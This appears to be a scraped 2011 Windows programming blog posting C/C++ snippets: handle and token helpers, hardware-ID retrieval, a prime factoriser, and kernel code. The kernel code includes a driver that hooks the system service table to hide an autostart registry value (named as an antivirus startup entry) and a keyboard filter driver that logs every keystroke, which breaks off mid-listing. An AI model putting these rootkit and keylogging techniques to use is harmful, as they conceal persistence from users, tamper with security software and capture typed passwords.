  bRetValue = GetTokenInformation(hProcessToken, TokenUser, NULL, 0, &dwReturnLength);
  if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
    goto Return;

  pTokenUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwReturnLength);
  if ( NULL == pTokenUser )
    goto Return;

  bRetValue = GetTokenInformation(hProcessToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength);
  if ( FALSE == bRetValue )
    goto Return;

  bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, NULL, &dwchUserNameLength,
                 NULL, &dwchReferencedDomainNameLength, &enum_SidName);
  if ( FALSE != bRetValue || ERROR_INSUFFICIENT_BUFFER != GetLastError() )
    goto Return;

  if ( dwchUserNameLength <= dwUserNameLength )
  {
    pUserName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchUserNameLength);
    pReferencedDomainName = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwchReferencedDomainNameLength);

    if ( NULL == pUserName || NULL == pReferencedDomainName )
      goto Return;

    bRetValue = LookupAccountSid(NULL, pTokenUser->User.Sid, (TCHAR *)pUserName, &dwchUserNameLength,
                   (TCHAR *)pReferencedDomainName, &dwchReferencedDomainNameLength, &enum_SidName);
    if ( TRUE == bRetValue )
    {
      _tcsncpy_s(pszProcessUserName, dwUserNameLength, (TCHAR *)pUserName, dwchUserNameLength);

      bRetResult = TRUE;
    }
  }

Return:

  if ( NULL != hProcess )
  {
    CloseHandle(hProcess);
    hProcess = NULL;
  }

  if ( NULL != hProcessToken )
  {
    CloseHandle(hProcessToken);
    hProcessToken = NULL;
  }

  if ( NULL != pTokenUser )
  {
    HeapFree(GetProcessHeap(), 0, pTokenUser);
    pTokenUser = NULL;
  }

  if ( NULL != pUserName )
  {
    HeapFree(GetProcessHeap(), 0, pUserName);
    pUserName = NULL;
  }

  if ( NULL != pReferencedDomainName )
  {
    HeapFree(GetProcessHeap(), 0, pReferencedDomainName);
    pReferencedDomainName = NULL;
  }

  return bRetResult;
}

//  获取事件句柄的类型
BOOL GetEventHandleType(OUT UCHAR *uObjectTypeNumber)
{
  BOOL bRetResult = FALSE;
  HANDLE hEvent = NULL;
  PVOID pHandleInfoBuffer = NULL;
  PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
  DWORD dwHandleCount = 0, dwIndex = 0;

  if ( NULL == uObjectTypeNumber )
    goto Return;

  hEvent = CreateEvent(NULL, TRUE, TRUE, "TEST_EVENT");
  if ( NULL == hEvent )
    goto Return;

  pHandleInfoBuffer = GetSystemHandleInformation(&dwHandleCount);
  if ( NULL == pHandleInfoBuffer || 0 >= dwHandleCount )
    goto Return;

  pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PUCHAR)pHandleInfoBuffer + 4);

  for ( dwIndex = 0; dwIndex < dwHandleCount; dwIndex ++ )
  {
    if ( GetCurrentProcessId() == pHandleInfo->ProcessId )
    {
      if ( (USHORT)hEvent == pHandleInfo->Handle )
      {
        *uObjectTypeNumber = pHandleInfo->ObjectTypeNumber;
        bRetResult = TRUE;

        break;
      }
    }

    pHandleInfo ++;
  }   

Return:

  if ( NULL != pHandleInfoBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pHandleInfoBuffer);
    pHandleInfoBuffer = NULL;
    pHandleInfo = NULL;
  }

  if ( NULL != hEvent )
  {
    CloseHandle(hEvent);
    hEvent = NULL;
  }

  return bRetResult;
}

//  Get HandleInformation Buffer(Call ZwQuerySystemInformation)
PVOID GetSystemHandleInformation(OUT DWORD *dwHandleCount)
{
  PVOID pReturnBuffer = NULL;
  NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
  ULONG uReturnLength = 0;

  if ( NULL == dwHandleCount || NULL == pfnZwQuerySystemInformation )
    goto Return;

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024)) )
    goto Return;

  ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, 1024, &uReturnLength);
  if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
    goto Return;

  if ( NULL != pReturnBuffer )
  {
    HeapFree(GetProcessHeap(), 0, pReturnBuffer);
    pReturnBuffer = NULL;
  }

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
    goto Return;

  ntStatus = pfnZwQuerySystemInformation(SystemHandleInformation, pReturnBuffer, uReturnLength, &uReturnLength);
  if ( STATUS_SUCCESS != ntStatus )
    goto Return;

  *dwHandleCount = *(PULONG)pReturnBuffer;

Return:

  return pReturnBuffer;
}

//  Get object's name string
PVOID GetObjectNameByHandle(IN HANDLE hObject)
{
  PVOID pReturnBuffer = NULL;
  NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;
  ULONG uReturnLength = 0;

  if ( NULL == hObject )
    goto Return;

  ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, 0, &uReturnLength);
  if ( STATUS_INFO_LENGTH_MISMATCH != ntStatus )
    goto Return;

  if ( NULL == (pReturnBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, uReturnLength)) )
    goto Return;

  ntStatus = pfnZwQueryObject(hObject, ObjectNameInformation, pReturnBuffer, uReturnLength, &uReturnLength);
  if ( STATUS_SUCCESS != ntStatus )
  {
    if ( NULL != pReturnBuffer )
    {
      HeapFree(GetProcessHeap(), 0, pReturnBuffer);
      pReturnBuffer = NULL;
    }
  }

Return:

  return pReturnBuffer;
}

Wednesday, September 21, 2011

Code for get hard disk ID/network card MAC

Author:AZMC
Be free and at leisure, Neaten code for hard disk ID/network card MAC.


Code:
// =============================================================================
// xID.h - 获取机器 ID - Azithromycin.13 - 2008.05.12
// =============================================================================

#pragma once

#ifndef _X_ID_
#define _X_ID_

typedef struct _IDSECTOR {
  USHORT  wGenConfig;
  USHORT  wNumCyls;
  USHORT  wReserved;
  USHORT  wNumHeads;
  USHORT  wBytesPerTrack;
  USHORT  wBytesPerSector;
  USHORT  wSectorsPerTrack;
  USHORT  wVendorUnique[3];
  CHAR  sSerialNumber[20];
  USHORT  wBufferType;
  USHORT  wBufferSize;
  USHORT  wECCSize;
  CHAR  sFirmwareRev[8];
  CHAR  sModelNumber[40];
  USHORT  wMoreVendorUnique;
  USHORT  wDoubleWordIO;
  USHORT  wCapabilities;
  USHORT  wReserved1;
  USHORT  wPIOTiming;
  USHORT  wDMATiming;
  USHORT  wBS;
  USHORT  wNumCurrentCyls;
  USHORT  wNumCurrentHeads;
  USHORT  wNumCurrentSectorsPerTrack;
  ULONG  ulCurrentSectorCapacity;
  USHORT  wMultSectorStuff;
  ULONG  ulTotalAddressableSectors;
  USHORT  wSingleWordDMA;
  USHORT  wMultiWordDMA;
  BYTE  bReserved[128];
} IDSECTOR, *PIDSECTOR;

extern char xID[ 64 ];

void xGetHardDiskID();
void xGetNetCardID();

#endif

// =============================================================================
// xID.cpp - 获取机器 ID - Azithromycin.13 - 2008.05.12
// =============================================================================

#include "stdafx.h"

#include "xID.h"

#include <winioctl.h>

char xID[ 64 ] = { 0 };

void xGetHardDiskID()
{
  HANDLE hDevice;
  BOOL bResult;
  DWORD dwRet;

  memset( ( void* )xID,0,64 );

  hDevice = CreateFile( "\\\\.\\PhysicalDrive0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL  );
  if( hDevice == INVALID_HANDLE_VALUE ) return;

  GETVERSIONINPARAMS vip;
  bResult = DeviceIoControl( hDevice,SMART_GET_VERSION,NULL,0,&vip,sizeof( GETVERSIONINPARAMS ),&dwRet,NULL );
  if( !bResult ) {
    CloseHandle( hDevice );
    return;
  }
  if( vip.bIDEDeviceMap == 0 ) {
    CloseHandle( hDevice );
    return;
  }

  SENDCMDINPARAMS cmdin;
  memset( ( void* )&cmdin,0,sizeof( cmdin ) );
  cmdin.irDriveRegs.bSectorCountReg = 0x01;
  cmdin.irDriveRegs.bSectorNumberReg = 0x01;
  cmdin.irDriveRegs.bFeaturesReg = 0x00;
  cmdin.bDriveNumber = 0x00;
  cmdin.irDriveRegs.bCylLowReg = 0x00;
  cmdin.irDriveRegs.bCylHighReg = 0x00;
  cmdin.irDriveRegs.bDriveHeadReg = 0xa0;
  cmdin.irDriveRegs.bCommandReg = 0xec;
  cmdin.cBufferSize = 0x200;

  BYTE cmdout[ sizeof( SENDCMDOUTPARAMS ) + 512 -1 ];
  memset( ( void* )cmdout,0,sizeof( SENDCMDOUTPARAMS ) + 512 -1 );
  SENDCMDOUTPARAMS* pcmdout = ( SENDCMDOUTPARAMS* )&cmdout;
  pcmdout->cBufferSize = 0x200;

  bResult = DeviceIoControl(  hDevice,SMART_RCV_DRIVE_DATA,( LPVOID )&cmdin,sizeof( SENDCMDINPARAMS ),cmdout,sizeof( cmdout ),&dwRet,NULL );
  if( !bResult ) {
    CloseHandle( hDevice );
    return;
  }

  IDSECTOR* pisd = ( IDSECTOR* )&cmdout[ sizeof( SENDCMDOUTPARAMS ) - 1 ];

  char tmpch1,tmpch2;
  int j = 0;
  for( int i = 0; i < sizeof( pisd->sSerialNumber ); i += 2 ) {
    tmpch1 = pisd->sSerialNumber[ i + 1 ];
    tmpch2 = pisd->sSerialNumber[ i  ];
    if( isdigit( tmpch1 ) || isalpha( tmpch1 ) ) {
      xID[ j++ ] = tmpch1;
    }
    if( isdigit( tmpch2 ) || isalpha( tmpch2 ) ) {
      xID[ j++ ] = tmpch2;
    }
  }

  CloseHandle( hDevice );
}

#include <Iphlpapi.h.>
#pragma comment( lib,"Iphlpapi.lib" )

void xGetNetCardID()
{
  PIP_ADAPTER_INFO pinfo;
  unsigned char buf[ 4096 ];
  unsigned long len = 4096;
  unsigned long nError = 0;

  ZeroMemory( buf,4096 );
  pinfo = ( PIP_ADAPTER_INFO )buf;

  nError = GetAdaptersInfo( pinfo,&len );
  if( nError == ERROR_SUCCESS ) {
    sprintf( xID,"%02X%02X%02X%02X%02X%02X",pinfo->Address[0],pinfo->Address[1],pinfo->Address[2],pinfo->Address[3],pinfo->Address[4],pinfo->Address[5] );
  }
}

===〉调用相应的函数,ID 保存在 xID 数组中。
===〉一般地,要从 PhysicalDrive0/PhysicalDrive1/PhysicalDrive2/PhysicalDrive3 循环获取。
===〉以下为 VBScript 代码

strComputer = "."  'Dot (.) equals local computer in WMI

Set objWMIService = GetObject("winmgmts:\\" & strComputer)
Set colServices = objWMIService.InstancesOf("Win32_PhysicalMedia")

For Each objService In colServices
    WScript.Echo "Win32_PhysicalMedia--Tag         :" & objService.Tag & vbCrLf & _
                 "                   --SerialNumber:" & Trim(objService.SerialNumber) & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_Processor")

For Each objService In colServices
    WScript.Echo "Win32_Processor--ProcessorId:" & objService.ProcessorId & vbCrLf & _
                 "               --UniqueId   :" & Trim(objService.UniqueId) & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_NetworkAdapter")

For Each objService In colServices
    WScript.Echo "Win32_NetworkAdapter--MACAddress:" & objService.MACAddress & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_BIOS")

For Each objService In colServices
    WScript.Echo "Win32_BIOS--SerialNumber :" & objService.SerialNumber & vbCrLf
Next

Set colServices = objWMIService.InstancesOf("Win32_BaseBoard")

For Each objService In colServices
    WScript.Echo "Win32_BaseBoard--Tag          :" & objService.Tag & vbCrLf & _
                 "               --SerialNumber :" & objService.SerialNumber & vbCrLf
Next

Tuesday, September 20, 2011

dll2lib

Author:forgot
echo off
cls
set def=%~n1.def
set exp=%~n1.exp
echo dll2lib by forgot
if "%1"=="" (
  echo syntax: dll2lib dllfile
  goto exit
)
echo EXPORTS >%def%
for /f "usebackq skip=20 tokens=1,2,3,4,5*" %%i in (`dumpbin /nologo /exports %1`) do (
  if "%%l" == "(forwarded" (
    echo %%k >>%def%
  ) else (
    if not "%%l" == "" (
      if "%%m" == "" (
        echo %%l >>%def%
      )
    )
  )
)
lib /def:%def% /machine:ix86 /nologo
del %exp%
del %def%
:exit
pause

Monday, September 19, 2011

Random string generation function

Author:火影
Wrote for play, Don't laugh at me!
#include "stdafx.h"
#include <stdio.h>
#include "windows.h"
#pragma comment(lib,"winmm.lib")

int main(int argc, char* argv[])
{
  int RanNum;
  int n1,n2;
  int count;
  char *buffer;
  char ch;
  //Generation seed
  srand((unsigned(timeGetTime())));
  RanNum=rand();
  n1=RanNum%10;
  printf("Random number%d\n",n1);
  n1++;
  buffer=(char *)VirtualAlloc(NULL,2*n1,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  memset((void *)buffer,0,2*n1);
  for (count=0;count<(2*n1-1);count++)
  {
    RanNum=rand();
    n2=RanNum%52;
    printf("Random number%d\n",n2);
    if (n2>=26)
    {
      ch=n2&0x0F;
      ch+=0x47;  //'a'------'z'
    }
    else
    {
      ch=n2&0x0F;
      ch+=0x41;  //'A'-----'Z'
    }
    buffer[count]=ch;
   
  }
  printf("Generate random string%s\n",buffer);
  VirtualFree(buffer,2*n1,MEM_DECOMMIT);
  return 0;
}

Sunday, September 18, 2011

Prime factor resolve on C

 Author:Yangs
Maximum number is in favor of 4294967294, i.e. scanf("%lu") can go to maximum number.

Because resolve 4294967294 only to need prime table of 65535, Speed is more quickly.

In theory, 2.5×10^17 is resolved both short time. 2.5×10^17 need prime table of 500000000, My computer need 12.015 s

Code:
/**

 *   N*30+1, N*30+7, N*30+11, N*30+13, N*30+17, N*30+19, N*30+23, N*30+29

**/

#include "stdio.h"
#include "math.h"

long unsigned NUM;

char* real;;

long unsigned k;


inline void wtable(register unsigned long a)
{
    register unsigned long b;
    b=a/30;
    a=a%30;
    switch(a)
    {
      case 1:real[b]=real[b]&&!1;break;
      case 7:real[b]=real[b]&&!(1<<1);break;
      case 11:real[b]=real[b]&&!(1<<2);break;
      case 13:real[b]=real[b]&&!(1<<3);break;
      case 17:real[b]=real[b]&&!(1<<4);break;
      case 19:real[b]=real[b]&&!(1<<5);break;
      case 23:real[b]=real[b]&&!(1<<6);break;
      case 29:real[b]=real[b]&&!(1<<7);
      default:;
    }
}

inline int rtable(register unsigned long a)
{
  register unsigned long b;
  if(a>5)
  {
    b=a/30;
    if(real[b]==0)return 0;
    a=a%30;
    switch(a)
    {
      case 1:return real[b]&&1;
      case 7:return real[b]&&(1<<1);
      case 11:return real[b]&&(1<<2);
      case 13:return real[b]&&(1<<3);
      case 17:return real[b]&&(1<<4);
      case 19:return real[b]&&(1<<5);
      case 23:return real[b]&&(1<<6);
      case 29:return real[b]&&(1<<7);
      default:return 0;
    }
  }
  else
  {
    switch(a)
    {
      case 2:return 1;
      case 3:return 1;
      case 5:return 1;
      default:return 0;
    }
  }
}

void suShu()
{


  register unsigned long i=3,j,step;

  for(j=0; j<NUM/30+1; j++)
  {
    real[j] = 0xFF;//初始化数组
  }

  while(i<=k)
  {
  if(rtable(i)==0)
    {
      step=i<<1;
      for(j=i*i;j<=NUM;j+=step)
      wtable(j);
    }
    ++i;
    ++i;
  }

}


int main()
{
  unsigned long in;
  register unsigned long i;
  int f=0;
  printf("please inpout the No.:\n");
  scanf("%lu",&in);
  NUM=(unsigned long)sqrt((long double)in);
  real = new char[NUM/30+1];
  k = (long)sqrt((double)NUM);
  suShu();
  printf("%lu=",in);
  for (i=2;i<=NUM;i++)
  {
    if(rtable(i)==0)
      continue;
    else
    {
      if(in%i!=0)
        continue;
      else
      {
        in=in/i;
        i--;
        printf("%ld*",i+1);
        f=1;
      }
    }

  }
  if(in==1&f==1)printf("\b");
  else if(f==1)printf("%ld",in);
  else if(in<2)printf("\b can not factorization !");
  else printf("\b is prime number !");

  return 0;
}

Saturday, September 17, 2011

Simple algorithm traverse handle table of PspCidTable

Author:hatling
Code:
ULONG GetPspCidTable()
{
  ULONG PspCidTable=0;
  ULONG FuncAddr=NULL;
  UNICODE_STRING FuncName={0};
 
  RtlInitUnicodeString(&FuncName,L"PsLookupProcessByProcessId");
  FuncAddr=(ULONG)MmGetSystemRoutineAddress(&FuncName);
  for (;;FuncAddr++)
  {
    if ((0x35ff==(*(PUSHORT)FuncAddr)) && (0xe8==(*(PUCHAR)(FuncAddr+6))))
    { 
      PspCidTable=*(PULONG)(FuncAddr+2);
      break;
    } 
   
  }
  return PspCidTable;
}

#define OBJECT_BODY_TO_TYPE 0x10
//从3级表开始遍历
ULONG BrowseTableL3(ULONG TableAddr)
{
  ULONG Object=0;
  ULONG ItemCount=511;

  do
  {
    TableAddr+=8;
    Object=*(PULONG)TableAddr;
    Object&=0xfffffff8;
   
    if (Object==0)
    {
      continue;
    }
    if ((*PsProcessType)==(*(PULONG)(Object-OBJECT_BODY_TO_TYPE)))
    {
      KdPrint(("%s",PsGetProcessImageFileName((PEPROCESS)Object)));
    }   
  } while (--ItemCount>0);
 
  return 0;
}

//从二级表开始遍历
ULONG BrowseTableL2(ULONG TableAddr)
{
  do
  {
    BrowseTableL3(*(PULONG)TableAddr);
    TableAddr+=4;
  } while ((*(PULONG)TableAddr)!=0);

  return 0;
}

//从1级表开始遍历
ULONG BrowseTableL1(ULONG TableAddr)
{
  do
  {
    BrowseTableL2(*(PULONG)TableAddr);
    TableAddr+=4;
  } while ((*(PULONG)TableAddr)!=0);

  return 0;
}

VOID RefreshProcessByPspCidTable()
{
  ULONG PspCidTable=0;
  ULONG HandleTable=0;
  ULONG TableCode=0;
  ULONG flag=0;

  PspCidTable=GetPspCidTable();
  HandleTable=*(PULONG)PspCidTable;
  TableCode=*(PULONG)HandleTable;
  flag=TableCode&3;
  TableCode&=0xfffffffc; 
 
  switch (flag)
  {
  case 0:
    BrowseTableL3(TableCode);
    break;
  case 1:
    BrowseTableL2(TableCode);
    break;
  case 2:
    BrowseTableL1(TableCode);
    break;   
  }

Friday, September 16, 2011

Hide key value of registry

Author:liukeblue
Wrote a simple driver about Hide key value of registry, Through HOOK ZwEnumerateValueKey  to realize.
Code:
#include <ntddk.h>
#include <stdio.h>

//定义ObQueryNameString
NTSYSAPI NTSTATUS NTAPI ObQueryNameString(
                IN PVOID Object,
            OUT PVOID ObjectNameInfo,
            IN ULONG Length,
            OUT PULONG ReturnLength
            );

//定义ZwEnumerateValueKey
NTSYSAPI NTSTATUS NTAPI ZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );


//定义要Hook的API函数原型                     
NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                     
                     
//声明函数指针,并且函数返回值为NTSTATUS类型                   
typedef NTSTATUS (*REALZWENUMERATEVALUEKEY)(
               IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            );                     
                 
           
REALZWENUMERATEVALUEKEY RealZwEnumerateValueKey=NULL;

//这就是要隐藏的键值,这里我隐藏的键值是瑞星杀毒软件的启动项,你也可以改成别的
PWSTR HideValue=L"RavTray";  

#pragma pack(1)
typedef struct ServiceDescriptorEntry{
        unsigned int  *ServiceTableBase;
    unsigned int  *ServiceCounterTableBase;
    unsigned int  *NumberOfServices;
    unsigned char *ParamTableBase;
}ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;
#pragma pack() 

_declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)] 

NTSTATUS HookApi();
NTSTATUS UnHook();
PVOID GetPointer(HANDLE handle);
NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject);






PVOID GetPointer(HANDLE handle)
{
PVOID pKey;
if(!handle) return NULL;
if (ObReferenceObjectByHandle(handle,0,NULL,KernelMode,&pKey,NULL)!=STATUS_SUCCESS)
{
pKey=NULL;
}
return pKey;
}


NTSTATUS MyZwEnumerateValueKey(
            IN HANDLE KeyHandle,
            IN ULONG Index,
            IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
            OUT PVOID KeyValueInformation,
            IN ULONG Length,
            OUT PULONG ResultLength
            )
{
  PVOID pKey;
  UNICODE_STRING *pUniName;
  ULONG actuallen;
  UNICODE_STRING uStrValueName;
  ANSI_STRING keyname;
  NTSTATUS status;
  PWSTR ValueName;
  ULONG NameLen;

  status=((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
   pKey=GetPointer(KeyHandle); 
 
   if (pKey)
   {
    pUniName=ExAllocatePool(NonPagedPool,1024*2);
  pUniName->MaximumLength=512*2;
  memset(pUniName,0,pUniName->MaximumLength);
  if(NT_SUCCESS(ObQueryNameString(pKey,pUniName,512*2,&actuallen)))
  {
     RtlUnicodeStringToAnsiString(&keyname,pUniName,TRUE);   
    
   DbgPrint("%ws\n",pUniName->Buffer); 
   keyname.Buffer=_strupr(keyname.Buffer);
  
   if (strcmp(keyname.Buffer,"\\REGISTRY\\MACHINE\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN")==0)
    {
        ValueName =((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)->Name; 
        if (ValueName!=NULL&&wcsstr(ValueName,HideValue)!=NULL)
        {
        Index++;
    ValueName=NULL;
    return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);
    }
  //DbgPrint("ValueName=%ws\n",ValueName); 
        
     }
   }
  }

return ((REALZWENUMERATEVALUEKEY)(RealZwEnumerateValueKey))(
                                 KeyHandle,
                     Index,
                     KeyValueInformationClass,
                     KeyValueInformation,
                       Length,
                       ResultLength);

}




NTSTATUS HookApi()
{
    RealZwEnumerateValueKey = (REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey);
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
    }

(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey)=MyZwEnumerateValueKey;
_asm{

   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return( STATUS_SUCCESS );
}



NTSTATUS UnHook()
{
_asm{
   mov eax,cr0
   and eax,not 10000h
   mov cr0,eax
}
(REALZWENUMERATEVALUEKEY)SYSCALL(ZwEnumerateValueKey) = RealZwEnumerateValueKey;
_asm{ 
    
   mov eax,cr0
   or eax,10000h
   mov cr0,eax
}
return STATUS_SUCCESS ;





NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
NTSTATUS status;
DbgPrint("OnUnload called!\n");
status=UnHook();
return status;
}


NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
           IN PUNICODE_STRING theRegistryPath)
{

  theDriverObject->DriverUnload=DriverUnload;
    HookApi();
  DbgPrint("Hook Called!\n");
  return STATUS_SUCCESS ;
}

Thursday, September 15, 2011

Learn to Bypass driver --- Keybard monitor

Author:cxhcxh
Learn bypass driver, Please commment more.

Code:
//////////////////////////////////////////////////////////////////////////
//作者:cxh
//
//功能:键盘过滤,监视
//
//邮箱:cxh852456@163.com
//////////////////////////////////////////////////////////////////////////

#include <ntddk.h>
#include <ntddkbd.h>

PDEVICE_OBJECT selfdevice,targetdevice;;

PIRP pcancel;

#define PAGEDCODE code_seg("PAGE")
#define LOCKEDCODE code_seg()
#define INITCODE code_seg("INIT")

#pragma LOCKEDCODE
NTSTATUS CompeleteRoutin(IN PDEVICE_OBJECT DeviceObject,
             IN PIRP Irp,
             IN PVOID Context
             )
{

      PKEYBOARD_INPUT_DATA key;
    if (Irp->PendingReturned==TRUE)
    {
      IoMarkIrpPending(Irp);
    }
    key = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
        _try{
        if (key->Flags==KEY_MAKE && key->MakeCode)
        {
         
          switch (key->MakeCode)
          {
          case 0x1:
            DbgPrint("ESC KeyDown");
            break;
          case 0x2:
            DbgPrint("1 KeyDown");
            break;
          case 0x3:
            DbgPrint("2 KeyDown");
            break;
          case 0x4:
            DbgPrint("3 KeyDown");
            break;
          case 0x5:
            DbgPrint("4 KeyDown");
            break;
          case 0x6:
            DbgPrint("5 KeyDown");
            break;
          case 0x7:
            DbgPrint("6 KeyDown");
            break;
          case 0x8:
            DbgPrint("7 KeyDown");
            break;
          case 0x9:
            DbgPrint("8 KeyDown");
            break;
          case 0xA:
            DbgPrint("9 KeyDown");
            break;
          case 0xB:
            DbgPrint("0 KeyDown");
            break;
          case 0xC:
            DbgPrint("- KeyDown");
            break;
          case 0xD:
            DbgPrint("= KeyDown");
            break;
          case 0xE:
            DbgPrint("BACKSPACE KeyDown");
            break;
          case 0xF:
            DbgPrint("TAB KeyDown");
            break;
          case 0x10:
            DbgPrint("Q KeyDown");
            break;
          case 0x11:
            DbgPrint("W KeyDown");
            break;
          case 0x12:
            DbgPrint("E KeyDown");
            break;
          case 0x13:
            DbgPrint("R KeyDown");
            break;
          case 0x14:
            DbgPrint("T KeyDown");
            break;
          case 0x15:
            DbgPrint("Y KeyDown");
            break;
          case 0x16:
            DbgPrint("U KeyDown");
            break;
          case 0x17:
            DbgPrint("I KeyDown");
            break;
          case 0x18:
            DbgPrint("O KeyDown");
            break;
          case 0x19:
            DbgPrint("P KeyDown");
            break;
          case 0x1A:
            DbgPrint("[ KeyDown");
            break;
          case 0x1B:
            DbgPrint("] KeyDown");
            break;
          case 0x2B:
            DbgPrint("\\ KeyDown");
            break;
          case 0x1D:
            DbgPrint("LEFT CTRL KeyDown");
            break;
          case 0x1E:
            DbgPrint("A KeyDown");
            break;
          case 0x1F:
            DbgPrint("S KeyDown");
            break;
          case 0x20:
            DbgPrint("D KeyDown");
            break;
          case 0x21:
            DbgPrint("F KeyDown");
            break;
          case 0x22:
            DbgPrint("G KeyDown");
            break;
          case 0x23:
            DbgPrint("H KeyDown");
            break;
          case 0x24:
            DbgPrint("J KeyDown");
            break;
          case 0x25:
            DbgPrint("K KeyDown");
            break;
          case 0x26:
            DbgPrint("L KeyDown");
            break;
          case 0x27:
            DbgPrint("; KeyDown");
            break;
          case 0x28:
            DbgPrint("' KeyDown");
            break;
          case 0x29:
            DbgPrint("` KeyDown");
            break;
          case 0x2A:
            DbgPrint("LEFT SHIFT KeyDown");
            break;
          case 0x1C:
            DbgPrint("ENTER KeyDown");
            break;
          case 0x2C:
            DbgPrint("Z KeyDown");
            break;
          case 0x2D:
            DbgPrint("X KeyDown");
            break;
          case 0x2E:
            DbgPrint("C KeyDown");
            break;
          case 0x2F:
            DbgPrint("V KeyDown");
            break;
          case 0x30:
            DbgPrint("B KeyDown");
            break;
          case 0x31:
            DbgPrint("N KeyDown");
            break;
          case 0x32:
            DbgPrint("M KeyDown");
            break;
          case 0x33:
            DbgPrint(", KeyDown");
            break;
          case 0x34:
            DbgPrint(". KeyDown");
            break;
          case 0x35:
            DbgPrint("/ KeyDown");
            break;
          case 0x36:
            DbgPrint("RIGHT SHIFT KeyDown");
            break;
          case 0x37:
            DbgPrint("* KeyDown");
            break;
          case 0x38:
            DbgPrint("LEFT ALT KeyDown");
            break;
          case 0x39:
            DbgPrint("SPACE KeyDown");
            break;
          case 0x3A:
            DbgPrint("CAP LOCK KeyDown");
            break;
          case 0x3B:
            DbgPrint("F1 KeyDown");
            break;
          case 0x3C:
            DbgPrint("F2 KeyDown");
            break;
          case 0x3D:
            DbgPrint("F3 KeyDown");
            break;
          case 0x3E:
            DbgPrint("F4 KeyDown");
            break;
          case 0x3F:
            DbgPrint("F5 KeyDown");
            break;
          case 0x40:
            DbgPrint("F6 KeyDown");
            break;
          case 0x41:
            DbgPrint("F7 KeyDown");
            break;
          case 0x42:
            DbgPrint("F8 KeyDown");
            break;
          case 0x43:
            DbgPrint("F9 KeyDown");
            break;
          case 0x44:
            DbgPrint("F10 KeyDown");
            break;
          case 0x45:
            DbgPrint("NumLock KeyDown");
            break;
          case 0x46:
            DbgPrint("小键盘 / KeyDown");
            break;
          case 0x47:
            DbgPrint("小键盘 7 KeyDown");
            break;
          case 0x48:
            DbgPrint("小键盘 8 KeyDown");
            break;
          case 0x49:
            DbgPrint("小键盘 9 KeyDown");
            break;
          case 0x4A:
            DbgPrint("小键盘 - KeyDown");
            break;
          case 0x4B:
            DbgPrint("小键盘 4 KeyDown");
            break;
          case 0x4C:
            DbgPrint("小键盘 5 KeyDown");
            break;
          case 0x4D:
            DbgPrint("小键盘 6 KeyDown");
            break;
                    case 0x4E:
            DbgPrint("小键盘 + KeyDown");
            break;
          case 0x4F:
            DbgPrint("小键盘 1 KeyDown");
            break;
          case 0x50:
            DbgPrint("小键盘 2 KeyDown");
            break;
          case 0x51:
            DbgPrint("小键盘 3 KeyDown");
            break;
          case 0x52:
            DbgPrint("小键盘 0 KeyDown");
            break;
          case 0x53:
            DbgPrint("小键盘 . KeyDown");
            break;
          case 0x57:
            DbgPrint("F11 KeyDown");
            break;
          case 0x58:
            DbgPrint("F12 KeyDown");
            break;

          default:
            DbgPrint("%X",key->MakeCode);
            break;
          }
        }
